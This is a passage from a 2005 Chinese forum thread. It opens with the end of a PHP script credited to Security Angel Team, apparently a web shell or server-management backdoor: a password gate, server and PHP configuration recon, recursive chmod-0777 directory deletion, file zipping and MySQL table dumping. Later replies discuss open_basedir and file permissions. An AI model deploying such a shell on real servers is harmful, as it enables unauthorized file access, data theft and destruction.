  705.    $info[16] = array("自动定义全局变量 register_globals",getphpcfg("register_globals"));
  706.    $info[17] = array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc"));
  707.    $info[18] = array("程序最多允许使用内存量 memory_limit",getphpcfg("memory_limit"));
  708.    $info[19] = array("POST最大字节数 post_max_size",getphpcfg("post_max_size"));
  709.    $info[20] = array("允许最大上传文件 upload_max_filesize",$upsize);
  710.    $info[21] = array("程序最长运行时间 max_execution_time",getphpcfg("max_execution_time")."秒");
  711.    $info[22] = array("被禁用的函数 disable_functions",$dis_func);
  712.    $info[23] = array("phpinfo()",$phpinfo);
  713.    $info[24] = array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb');

  714.    $info[25] = array("图形处理 GD Library",getfun("imageline"));
  715.    $info[26] = array("IMAP电子邮件系统",getfun("imap_close"));
  716.    $info[27] = array("MySQL数据库",getfun("mysql_close"));
  717.    $info[28] = array("SyBase数据库",getfun("sybase_close"));
  718.    $info[29] = array("Oracle数据库",getfun("ora_close"));
  719.    $info[30] = array("Oracle 8 数据库",getfun("OCILogOff"));
  720.    $info[31] = array("PREL相容语法 PCRE",getfun("preg_match"));
  721.    $info[32] = array("PDF文档支持",getfun("pdf_close"));
  722.    $info[33] = array("Postgre SQL数据库",getfun("pg_close"));
  723.    $info[34] = array("SNMP网络管理协议",getfun("snmpget"));
  724.    $info[35] = array("压缩文件支持(Zlib)",getfun("gzclose"));
  725.    $info[36] = array("XML解析",getfun("xml_set_object"));
  726.    $info[37] = array("FTP",getfun("ftp_login"));
  727.    $info[38] = array("ODBC数据库连接",getfun("odbc_close"));
  728.    $info[39] = array("Session支持",getfun("session_start"));
  729.    $info[40] = array("Socket支持",getfun("fsockopen"));
  730. ?>
  731. <table width="760" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
  732. <form action="?action=phpenv" method="POST">
  733.   <tr class="firstalt">
  734.     <td style="padding-left: 5px;"><b>查看PHP配置参数状况</b></td>
  735.   </tr>
  736.   <tr class="secondalt">
  737.     <td style="padding-left: 5px;">请输入配置参数(如:magic_quotes_gpc):<input name="phpvarname" type="text" class="input" size="40"> <input type="submit" name="viewphpvar" value="查看" class="input"></td>
  738.   </tr>
  739. </form>
  740. <?php
  741.    for($a=0;$a<3;$a++){
  742.       if($a == 0){
  743.          $hp = array("server","服务器特性");
  744.       }elseif($a == 1){
  745.          $hp = array("php","PHP基本特性");
  746.       }elseif($a == 2){
  747.          $hp = array("basic","组件支持状况");
  748.       }
  749. ?>
  750.   <tr class="firstalt">
  751.     <td style="padding-left: 5px;"><b><?=$hp[1]?></b></td>
  752.   </tr>
  753.   <tr class="secondalt">
  754.     <td>
  755.       <table width="100%" border="0" cellpadding="0" cellspacing="0">
  756. <?php
  757.       if($a == 0){
  758.          for($i=0;$i<=12;$i++){
  759.             echo "<tr><td width=40% style="padding-left: 5px;">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
  760.          }
  761.       }elseif($a == 1){
  762.          for($i=13;$i<=24;$i++){
  763.             echo "<tr><td width=40% style="padding-left: 5px;">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
  764.          }
  765.       }elseif($a == 2){
  766.          for($i=25;$i<=40;$i++){
  767.             echo "<tr><td width=40% style="padding-left: 5px;">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
  768.          }
  769.       }
  770. ?>
  771.       </table>
  772.     </td>
  773.   </tr>
  774. <?php
  775.    }//for
  776. echo "</table>";
  777. }//end phpenv
  778. ?>
  779. <hr width="760" noshade>
  780. <table width="760" border="0" cellpadding="0">
  781.   <tr>
  782.     <td>Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.</td>
  783.     <td align="right"><?php
  784.    debuginfo();
  785.    ob_end_flush();   
  786.    ?></td>
  787.   </tr>
  788. </table>
  789. </center>
  790. </body>
  791. </html>

  792. <?php

  793. /*======================================================
  794. 函数库
  795. ======================================================*/

  796.    // 登陆入口
  797.    function loginpage() {
  798. ?>
  799.       <style type="text/css">
  800.       input {
  801.          font-family: "Verdana";
  802.          font-size: "11px";
  803.          BACKGROUND-COLOR: "#FFFFFF";
  804.          height: "18px";
  805.          border: "1px solid #666666";
  806.       }
  807.       </style>
  808.       <form method="POST" action="">
  809.       <span style="font-size: 11px; font-family: Verdana">Password: </span><input name="adminpass" type="password" size="20">
  810.       <input type="submit" name="login" value="OK">
  811.       </form>
  812. <?php
  813.       exit;
  814.    }//end loginpage()

  815.    // 页面调试信息
  816.    function debuginfo() {
  817.       global $starttime;
  818.       $mtime = explode(' ', microtime());
  819.       $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  820.       echo "Processed in $totaltime second(s)";
  821.    }

  822.    // 去掉转义字符
  823.    function stripslashes_array(&$array) {
  824.       while(list($key,$var) = each($array)) {
  825.          if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
  826.             if (is_string($var)) {
  827.                $array[$key] = stripslashes($var);
  828.             }
  829.             if (is_array($var))  {
  830.                $array[$key] = stripslashes_array($var);
  831.             }
  832.          }
  833.       }
  834.       return $array;
  835.    }

  836.    // 删除目录
  837.    function deltree($deldir) {
  838.       $mydir=@dir($deldir);   
  839.       while($file=$mydir->read())   {        
  840.          if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) {
  841.             @chmod("$deldir/$file",0777);
  842.             deltree("$deldir/$file");
  843.          }
  844.          if (is_file("$deldir/$file")) {
  845.             @chmod("$deldir/$file",0777);
  846.             @unlink("$deldir/$file");
  847.          }
  848.       }
  849.       $mydir->close();
  850.       @chmod("$deldir",0777);
  851.       echo @rmdir($deldir) ? "目录删除成功!" : "<font color="#ff0000">目录删除失败!</font>";   
  852.    }

  853.    // 判断读写情况
  854.    function dir_writeable($dir) {
  855.       if (!is_dir($dir)) {
  856.          @mkdir($dir, 0777);
  857.       }
  858.       if(is_dir($dir)) {
  859.          if ($fp = @fopen("$dir/test.txt", 'w')) {
  860.             @fclose($fp);
  861.             @unlink("$dir/test.txt");
  862.             $writeable = 1;
  863.          } else {
  864.             $writeable = 0;
  865.          }
  866.       }
  867.       return $writeable;
  868.    }

  869.    // 表格行间的背景色替换
  870.    function getrowbg() {
  871.       global $bgcounter;
  872.       if ($bgcounter++%2==0) {
  873.          return "firstalt";
  874.       } else {
  875.          return "secondalt";
  876.       }
  877.    }

  878.    // 获取当前的文件系统路径
  879.    function getPath($mainpath, $relativepath) {
  880.       global $dir;
  881.       $mainpath_info           = explode('/', $mainpath);
  882.       $relativepath_info       = explode('/', $relativepath);
  883.       $relativepath_info_count = count($relativepath_info);
  884.       for ($i=0; $i<$relativepath_info_count; $i++) {
  885.          if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
  886.          if ($relativepath_info[$i] == '..') {
  887.             $mainpath_info_count = count($mainpath_info);
  888.             unset($mainpath_info[$mainpath_info_count-1]);
  889.             continue;
  890.          }
  891.          $mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
  892.       } //end for
  893.       return implode('/', $mainpath_info);
  894.    }

  895.    // 检查PHP配置参数
  896.    function getphpcfg($varname) {
  897.       switch($result = get_cfg_var($varname)) {
  898.          case 0:
  899.          return No;
  900.          break;
  901.          case 1:
  902.          return Yes;
  903.          break;
  904.          default:
  905.          return $result;
  906.          break;
  907.       }
  908.    }

  909.    // 检查函数情况
  910.    function getfun($funName) {
  911.       return (false !== function_exists($funName)) ? Yes : No;
  912.    }

  913.    // 压缩打包类
  914.    class PHPZip{
  915.    var $out='';
  916.       function PHPZip($dir, $zipfilename="")   {
  917.           if (@function_exists('gzcompress'))   {
  918.             $curdir = getcwd();
  919.             if (is_array($dir)) $filelist = $dir;
  920.               else{
  921.                  $filelist=$this -> GetFileList($dir);//文件列表
  922.                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
  923.                }
  924.               if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
  925.             else chdir($curdir);
  926.             if (count($filelist)>0){
  927.                foreach($filelist as $filename){
  928.                   if (is_file($filename)){
  929.                      $fd = fopen ($filename, "r");
  930.                      $content = @fread ($fd, filesize ($filename));
  931.                      fclose ($fd);
  932.                       if (is_array($dir)) $filename = basename($filename);
  933.                      $this -> addFile($content, $filename);
  934.                   }
  935.                }
  936.                $this->out = $this -> file();
  937.                chdir($curdir);
  938.                // 下面将生成的内容$out写入文件,如果需要在服务器生成压缩包,请去掉注释
  939.                /*$fp = fopen($zipfilename, "w");
  940.                   fwrite($fp, $this->out, strlen($this->out));
  941.                  fclose($fp);
  942.                 */
  943.             }
  944.             return 1;
  945.          }
  946.          else return 0;
  947.       }

  948.       // 获得指定目录文件列表
  949.       function GetFileList($dir){
  950.          static $a;
  951.          if (is_dir($dir)) {
  952.             if ($dh = opendir($dir)) {
  953.                   while (($file = readdir($dh)) !== false) {
  954.                   if($file!='.' && $file!='..'){
  955.                         $f=$dir .'/'. $file;
  956.                         if(is_dir($f)) $this->GetFileList($f);
  957.                      $a[]=$f;
  958.                     }
  959.                }
  960.                  closedir($dh);
  961.              }
  962.          }
  963.          return $a;
  964.       }

  965.       var $datasec      = array();
  966.        var $ctrl_dir     = array();
  967.       var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  968.        var $old_offset   = 0;

  969.       function unix2DosTime($unixtime = 0) {
  970.            $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  971.           if ($timearray['year'] < 1980) {
  972.             $timearray['year']    = 1980;
  973.               $timearray['mon']     = 1;
  974.               $timearray['mday']    = 1;
  975.              $timearray['hours']   = 0;
  976.             $timearray['minutes'] = 0;
  977.               $timearray['seconds'] = 0;
  978.            } // end if
  979.           return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  980.                  ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  981.        }

  982.       function addFile($data, $name, $time = 0) {
  983.            $name     = str_replace('\\', '/', $name);

  984.           $dtime    = dechex($this->unix2DosTime($time));
  985.            $hexdtime = '\x' . $dtime[6] . $dtime[7]
  986.                     . '\x' . $dtime[4] . $dtime[5]
  987.                    . '\x' . $dtime[2] . $dtime[3]
  988.                   . '\x' . $dtime[0] . $dtime[1];
  989.            eval('$hexdtime = "' . $hexdtime . '";');
  990.           $fr   = "\x50\x4b\x03\x04";
  991.          $fr   .= "\x14\x00";
  992.            $fr   .= "\x00\x00";
  993.           $fr   .= "\x08\x00";
  994.          $fr   .= $hexdtime;

  995.            $unc_len = strlen($data);
  996.           $crc     = crc32($data);
  997.          $zdata   = gzcompress($data);
  998.            $c_len   = strlen($zdata);
  999.           $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  1000.          $fr      .= pack('V', $crc);
  1001.            $fr      .= pack('V', $c_len);
  1002.           $fr      .= pack('V', $unc_len);
  1003.          $fr      .= pack('v', strlen($name));
  1004.            $fr      .= pack('v', 0);
  1005.           $fr      .= $name;

  1006.          $fr .= $zdata;

  1007.            $fr .= pack('V', $crc);
  1008.           $fr .= pack('V', $c_len);
  1009.          $fr .= pack('V', $unc_len);

  1010.            $this -> datasec[] = $fr;
  1011.           $new_offset        = strlen(implode('', $this->datasec));

  1012.          $cdrec = "\x50\x4b\x01\x02";
  1013.            $cdrec .= "\x00\x00";
  1014.           $cdrec .= "\x14\x00";
  1015.          $cdrec .= "\x00\x00";
  1016.            $cdrec .= "\x08\x00";
  1017.           $cdrec .= $hexdtime;
  1018.          $cdrec .= pack('V', $crc);
  1019.            $cdrec .= pack('V', $c_len);
  1020.           $cdrec .= pack('V', $unc_len);
  1021.          $cdrec .= pack('v', strlen($name) );
  1022.            $cdrec .= pack('v', 0 );
  1023.           $cdrec .= pack('v', 0 );
  1024.          $cdrec .= pack('v', 0 );
  1025.            $cdrec .= pack('v', 0 );
  1026.           $cdrec .= pack('V', 32 );
  1027.          $cdrec .= pack('V', $this -> old_offset );
  1028.            $this -> old_offset = $new_offset;
  1029.           $cdrec .= $name;

  1030.          $this -> ctrl_dir[] = $cdrec;
  1031.        }

  1032.       function file() {
  1033.          $data    = implode('', $this -> datasec);
  1034.            $ctrldir = implode('', $this -> ctrl_dir);
  1035.           return
  1036.              $data .
  1037.             $ctrldir .
  1038.                $this -> eof_ctrl_dir .
  1039.               pack('v', sizeof($this -> ctrl_dir)) .
  1040.              pack('v', sizeof($this -> ctrl_dir)) .
  1041.             pack('V', strlen($ctrldir)) .
  1042.                pack('V', strlen($data)) .
  1043.               "\x00\x00";
  1044.        }
  1045.    }

  1046.    // 备份数据库
  1047.    function sqldumptable($table, $fp=0) {
  1048.       $tabledump = "DROP TABLE IF EXISTS $table;\n";
  1049.       $tabledump .= "CREATE TABLE $table (\n";

  1050.       $firstfield=1;

  1051.       $fields = mysql_query("SHOW FIELDS FROM $table");
  1052.       while ($field = mysql_fetch_array($fields)) {
  1053.          if (!$firstfield) {
  1054.             $tabledump .= ",\n";
  1055.          } else {
  1056.             $firstfield=0;
  1057.          }
  1058.          $tabledump .= "   $field[Field] $field[Type]";
  1059.          if (!empty($field["Default"])) {
  1060.             $tabledump .= " DEFAULT '$field[Default]'";
  1061.          }
  1062.          if ($field['Null'] != "YES") {
  1063.             $tabledump .= " NOT NULL";
  1064.          }
  1065.          if ($field['Extra'] != "") {
  1066.             $tabledump .= " $field[Extra]";
  1067.          }
  1068.       }
  1069.       mysql_free_result($fields);
  1070.    
  1071.       $keys = mysql_query("SHOW KEYS FROM $table");
  1072.       while ($key = mysql_fetch_array($keys)) {
  1073.          $kname=$key['Key_name'];
  1074.          if ($kname != "PRIMARY" and $key['Non_unique'] == 0) {
  1075.             $kname="UNIQUE|$kname";
  1076.          }
  1077.          if(!is_array($index[$kname])) {
  1078.             $index[$kname] = array();
  1079.          }
  1080.          $index[$kname][] = $key['Column_name'];
  1081.       }
  1082.       mysql_free_result($keys);

  1083.       while(list($kname, $columns) = @each($index)) {
  1084.          $tabledump .= ",\n";
  1085.          $colnames=implode($columns,",");

  1086.          if ($kname == "PRIMARY") {
  1087.             $tabledump .= "   PRIMARY KEY ($colnames)";
  1088.          } else {
  1089.             if (substr($kname,0,6) == "UNIQUE") {
  1090.                $kname=substr($kname,7);
  1091.             }
  1092.             $tabledump .= "   KEY $kname ($colnames)";
  1093.          }
  1094.       }

  1095.       $tabledump .= "\n);\n\n";
  1096.       if ($fp) {
  1097.          fwrite($fp,$tabledump);
  1098.       } else {
  1099.          echo $tabledump;
  1100.       }

  1101.       $rows = mysql_query("SELECT * FROM $table");
  1102.       $numfields = mysql_num_fields($rows);
  1103.       while ($row = mysql_fetch_array($rows)) {
  1104.          $tabledump = "INSERT INTO $table VALUES(";

  1105.          $fieldcounter=-1;
  1106.          $firstfield=1;
  1107.          while (++$fieldcounter<$numfields) {
  1108.             if (!$firstfield) {
  1109.                $tabledump.=", ";
  1110.             } else {
  1111.                $firstfield=0;
  1112.             }

  1113.             if (!isset($row[$fieldcounter])) {
  1114.                $tabledump .= "NULL";
  1115.             } else {
  1116.                $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
  1117.             }
  1118.          }

  1119.          $tabledump .= ");\n";

  1120.          if ($fp) {
  1121.             fwrite($fp,$tabledump);
  1122.          } else {
  1123.             echo $tabledump;
  1124.          }
  1125.       }
  1126.       mysql_free_result($rows);
  1127.    }
  1128. ?>
复制代码
 楼主| k8d 发表于 2005-1-30 11:37:06 | 显示全部楼层
还有一点,我想把192.168.1.1 和192.168.1.2全邦在这台服务器上,应该如何操作
回复

使用道具 举报

 楼主| k8d 发表于 2005-1-30 14:52:10 | 显示全部楼层
我问了不少人都不知道,有人说要改php代码,设成777,但我也应该还有其它方法的
回复

使用道具 举报

cqfanli 发表于 2005-2-16 09:10:55 | 显示全部楼层
1、请在httpd.conf里面设置open_basedir参数…
2、需要把FTP用户名和apache启动的用户名统一即可,不过这应该不是最好的办法。
你可以请客人用webadmin.php之类的软件自己改权限
回复

使用道具 举报

EniZ 发表于 2005-2-17 12:09:14 | 显示全部楼层
Originally posted by cqfanli at 2005-2-16 09:10
1、请在httpd.conf里面设置open_basedir参数…
2、需要把FTP用户名和apache启动的用户名统一即可,不过这应该不是最好的办法。
你可以请客人用webadmin.php之类的软件自己改权限


有理!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2024-12-23 16:49 , Processed in 0.029859 second(s), 4 queries , Gzip On, Redis On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表